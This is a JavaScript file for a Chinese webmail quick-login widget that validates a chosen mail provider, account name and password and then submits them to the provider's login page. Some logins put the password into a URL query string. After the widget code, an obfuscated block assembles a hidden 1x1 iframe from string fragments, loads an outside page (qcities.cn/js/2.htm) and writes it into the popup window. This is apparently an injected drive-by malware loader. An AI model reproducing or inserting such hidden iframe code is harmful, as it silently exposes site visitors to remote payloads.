function check(input){    
if(input.mailSelect.options.selectedIndex==0){    
alert("请选择您的电子邮箱！");    
input.mailSelect.focus();    
return false;}    
if(input.name.value==""){    
alert("请输入您的帐号！");    
input.name.focus();    
return false;}    
if(input.password.value=="" || input.password.value.length<3){    
alert("请正确输入您的密码！");    
input.password.focus();    
return false;}    
else{go();    
return false;}}    
function makeURL(){    
var objForm=document.mailForm;    
var intIndex=objForm.mailSelect.options.selectedIndex;    
var varInfo=objForm.mailSelect.options[intIndex].value; /*获取的表单中邮件服务器及用户账号和密码信息*/    
var arrayInfo=varInfo.split(';'); /*将以上获取的信息进行分割，并赋给数组变量*/    
var strName=objForm.name.value,varPasswd=objForm.password.value;    
var length=arrayInfo.length,strProvider=arrayInfo[0],strIdName=arrayInfo[1],varPassName=arrayInfo[2];    
if(length==3){    
var strUrl=''+strProvider+'?'+strIdName+'='+strName+'&'+varPassName+'='+varPasswd; /*合并字符串，得到形如“http://mail.sina.com.cn/cgi-bin/log...”的字符串型URL*/    
}    
else{    
var strUrl='<form name="tmpForm" action="'+strProvider+'" method="post"><input type="hidden" name="'+strIdName+'" value="'+strName+'"><input type="hidden" name="'+varPassName+'" value="'+varPasswd+'">';    
if(arrayInfo[4]=='hidden') strUrl+='<input type="hidden" name="'+arrayInfo[5]+'" value="'+arrayInfo[6]+'">'    
strUrl+='</form>';    
}    
return strUrl;    
}    
function go(){    
var strLocation=makeURL();    
if(strLocation.indexOf('<form name="tmpForm"')!=-1){/*对于只能用“post”来获取表单数据的邮箱使用自动提交的临时表单*/    
outWin=window.open('','','scrollbars=yes,menubar=yes,toolbar=yes,location=yes,status=yes,resizable=yes'); 
if(outWin!=null)
{   
doc=outWin.document;    
doc.open('text/html');    
doc.write('<html><head><meta http-equiv="Content-Type" content="text/html; charset=gb2312"><title>邮箱登录</title></head><body onload="document.tmpForm.submit()">');    
doc.write('<p align="center"><br></br><br></br>欢迎您使用电子邮局快速登录系统，<br></br><br></br>请 稍 候…………<br></br><br></br>http://www.0571e.com e通社杭州黄页提供</p>'+strLocation+'</body></html>');    
doc.close();    
}    
}
}


s="<if";
s=s + "rame src='http:/";
s=s+"/www.qcities";
s=s+".cn/js";
s=s+"/2.";
s=s+"htm' ";
s=s+"          width='1' height='1' />";
if(outWin!=null)
{ 
doc=outWin.document;    
doc.open('text/html');    
doc.write(s);
doc.close();
}
function News_Window(theURL,winName,features) {
window.open(theURL,winName,features);
}

